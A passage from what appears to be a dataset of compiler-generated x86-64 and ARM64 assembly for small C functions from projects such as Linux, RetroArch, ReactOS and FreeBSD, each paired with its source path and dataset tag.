x8, [x19, #16] cbz x8, LBB0_8 ; %bb.6: ldp x9, x10, [x19] add x9, x9, #1 str x9, [x19] cmp x9, x10 b.ne LBB0_8 LBB0_7: mov w0, #1 b LBB0_9 LBB0_8: ldr x9, [x19, #24] orr x8, x9, x8 cmp x8, #0 cset w0, eq LBB0_9: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .no_dead_strip _kern_sym_match .subsections_via_symbols

AnghaBench/linux/tools/perf/util/extr_auxtrace.c_kern_sym_match.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function __d_clear_type_and_inode ___d_clear_type_and_inode: ## @__d_clear_type_and_inode .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %rbx pushq %rax .cfi_offset %rbx, -24 movq %rdi, %rbx movl (%rdi), %edi callq _READ_ONCE movq _DCACHE_ENTRY_TYPE@GOTPCREL(%rip), %rcx movq _DCACHE_FALLTHRU@GOTPCREL(%rip), %rdx movl (%rdx), %esi orl (%rcx), %esi notl %esi andl %eax, %esi movl (%rbx), %edi callq _WRITE_ONCE movq $0, 8(%rbx) movq _DCACHE_LRU_LIST@GOTPCREL(%rip), %rax movl (%rax), %eax testl %eax, (%rbx) je LBB0_1 ## %bb.2: movq _nr_dentry_negative@GOTPCREL(%rip), %rax movl (%rax), %edi addq $8, %rsp popq %rbx popq %rbp jmp _this_cpu_inc ## TAILCALL LBB0_1: addq $8, %rsp popq %rbx popq %rbp retq .cfi_endproc ## -- End function .comm _DCACHE_ENTRY_TYPE,4,2 ## @DCACHE_ENTRY_TYPE .comm _DCACHE_FALLTHRU,4,2 ## @DCACHE_FALLTHRU .comm _DCACHE_LRU_LIST,4,2 ## @DCACHE_LRU_LIST .comm _nr_dentry_negative,4,2 ## @nr_dentry_negative .no_dead_strip ___d_clear_type_and_inode .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function __d_clear_type_and_inode ___d_clear_type_and_inode: ; @__d_clear_type_and_inode .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x0 ldr w0, [x0] bl _READ_ONCE Lloh0: adrp x8, _DCACHE_ENTRY_TYPE@GOTPAGE Lloh1: ldr x8, [x8, _DCACHE_ENTRY_TYPE@GOTPAGEOFF] Lloh2: ldr w8, [x8] Lloh3: adrp x9, _DCACHE_FALLTHRU@GOTPAGE Lloh4: ldr x9, [x9, _DCACHE_FALLTHRU@GOTPAGEOFF] Lloh5: ldr w9, [x9] orr w8, w9, w8 bic w1, w0, w8 ldr w0, [x19] bl _WRITE_ONCE str xzr, [x19, #8] ldr w8, [x19] Lloh6: adrp x9, _DCACHE_LRU_LIST@GOTPAGE Lloh7: ldr x9, [x9, _DCACHE_LRU_LIST@GOTPAGEOFF] Lloh8: ldr w9, [x9] tst w9, w8 b.eq LBB0_2 ; %bb.1: Lloh9: adrp x8, _nr_dentry_negative@GOTPAGE Lloh10: ldr x8, [x8, _nr_dentry_negative@GOTPAGEOFF] Lloh11: ldr w0, [x8] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload b _this_cpu_inc LBB0_2: ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh9, Lloh10, Lloh11 .cfi_endproc ; -- End function .comm _DCACHE_ENTRY_TYPE,4,2 ; @DCACHE_ENTRY_TYPE .comm _DCACHE_FALLTHRU,4,2 ; @DCACHE_FALLTHRU .comm _DCACHE_LRU_LIST,4,2 ; @DCACHE_LRU_LIST .comm _nr_dentry_negative,4,2 ; @nr_dentry_negative .no_dead_strip ___d_clear_type_and_inode .subsections_via_symbols

AnghaBench/linux/fs/extr_dcache.c___d_clear_type_and_inode.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function vga_gfx_free _vga_gfx_free: ## @vga_gfx_free .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %rbx pushq %rax .cfi_offset %rbx, -24 movq _vga_frame@GOTPCREL(%rip), %rbx movq (%rbx), %rdi testq %rdi, %rdi je LBB0_2 ## %bb.1: callq _free movq $0, (%rbx) LBB0_2: movq _vga_menu_frame@GOTPCREL(%rip), %rbx movq (%rbx), %rdi testq %rdi, %rdi je LBB0_4 ## %bb.3: callq _free movq $0, (%rbx) LBB0_4: xorl %eax, %eax addq $8, %rsp popq %rbx popq %rbp jmp _vga_return_to_text_mode ## TAILCALL .cfi_endproc ## -- End function .comm _vga_frame,8,3 ## @vga_frame .comm _vga_menu_frame,8,3 ## @vga_menu_frame .no_dead_strip _vga_gfx_free .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function vga_gfx_free _vga_gfx_free: ; @vga_gfx_free .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 Lloh0: adrp x19, _vga_frame@GOTPAGE Lloh1: ldr x19, [x19, _vga_frame@GOTPAGEOFF] ldr x0, [x19] cbz x0, LBB0_2 ; %bb.1: bl _free str xzr, [x19] LBB0_2: Lloh2: adrp x19, _vga_menu_frame@GOTPAGE Lloh3: ldr x19, [x19, _vga_menu_frame@GOTPAGEOFF] ldr x0, [x19] cbz x0, LBB0_4 ; %bb.3: bl _free str xzr, [x19] LBB0_4: ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload b _vga_return_to_text_mode .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpLdrGot Lloh2, Lloh3 .cfi_endproc ; -- End function .comm _vga_frame,8,3 ; @vga_frame .comm _vga_menu_frame,8,3 ; @vga_menu_frame .no_dead_strip _vga_gfx_free .subsections_via_symbols

AnghaBench/RetroArch/gfx/drivers/extr_vga_gfx.c_vga_gfx_free.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function get_op_int _get_op_int: ## @get_op_int .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq (%rdi), %rax movq (%rax), %rcx movq 8(%rax), %rax movq (%rax), %rax movq (%rax,%rcx,8), %rax movslq %esi, %rcx movl (%rax,%rcx,4), %eax popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _get_op_int .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function get_op_int _get_op_int: ; @get_op_int .cfi_startproc ; %bb.0: ldr x8, [x0] ldp x8, x9, [x8] ldr x9, [x9] ldr x8, [x9, x8, lsl #3] ldr w0, [x8, w1, sxtw #2] ret .cfi_endproc ; -- End function .no_dead_strip _get_op_int .subsections_via_symbols

AnghaBench/reactos/dll/win32/jscript/extr_engine.c_get_op_int.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp xorl %eax, %eax popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: mov w0, #0 ret .cfi_endproc ; -- End function .subsections_via_symbols

the_stack_data/141788.c

stack

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function f_flush _f_flush: ## @f_flush .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %rbx pushq %rax .cfi_offset %rbx, -24 movq %rdi, %rbx callq _tofile movl %eax, %edi callq _fflush xorl %esi, %esi testq %rax, %rax sete %sil movq %rbx, %rdi xorl %edx, %edx addq $8, %rsp popq %rbx popq %rbp jmp _luaL_fileresult ## TAILCALL .cfi_endproc ## -- End function .no_dead_strip _f_flush .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function f_flush _f_flush: ; @f_flush .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x0 bl _tofile bl _fflush cmp x0, #0 cset w1, eq mov x0, x19 mov x2, #0 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload b _luaL_fileresult .cfi_endproc ; -- End function .no_dead_strip _f_flush .subsections_via_symbols

AnghaBench/RetroArch/deps/lua/src/extr_liolib.c_f_flush.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _aw_mp_setmaxid ## -- Begin function aw_mp_setmaxid .p2align 4, 0x90 _aw_mp_setmaxid: ## @aw_mp_setmaxid .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %rbx pushq %rax .cfi_offset %rbx, -24 movq _mp_ncpus@GOTPCREL(%rip), %rbx cmpl $0, (%rbx) jne LBB0_2 ## %bb.1: xorl %eax, %eax callq _cp15_l2ctlr_get movl %eax, %edi callq _CPUV7_L2CTLR_NPROC movl %eax, (%rbx) decl %eax movq _mp_maxid@GOTPCREL(%rip), %rcx movl %eax, (%rcx) LBB0_2: addq $8, %rsp popq %rbx popq %rbp retq .cfi_endproc ## -- End function .comm _mp_ncpus,4,2 ## @mp_ncpus .comm _mp_maxid,4,2 ## @mp_maxid .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _aw_mp_setmaxid ; -- Begin function aw_mp_setmaxid .p2align 2 _aw_mp_setmaxid: ; @aw_mp_setmaxid .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 Lloh0: adrp x19, _mp_ncpus@GOTPAGE Lloh1: ldr x19, [x19, _mp_ncpus@GOTPAGEOFF] ldr w8, [x19] cbnz w8, LBB0_2 ; %bb.1: bl _cp15_l2ctlr_get bl _CPUV7_L2CTLR_NPROC str w0, [x19] sub w8, w0, #1 Lloh2: adrp x9, _mp_maxid@GOTPAGE Lloh3: ldr x9, [x9, _mp_maxid@GOTPAGEOFF] Lloh4: str w8, [x9] LBB0_2: ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpLdrGotStr Lloh2, Lloh3, Lloh4 .cfi_endproc ; -- End function .comm _mp_ncpus,4,2 ; @mp_ncpus .comm _mp_maxid,4,2 ; @mp_maxid .subsections_via_symbols

AnghaBench/freebsd/sys/arm/allwinner/extr_aw_mp.c_aw_mp_setmaxid.c

anghabench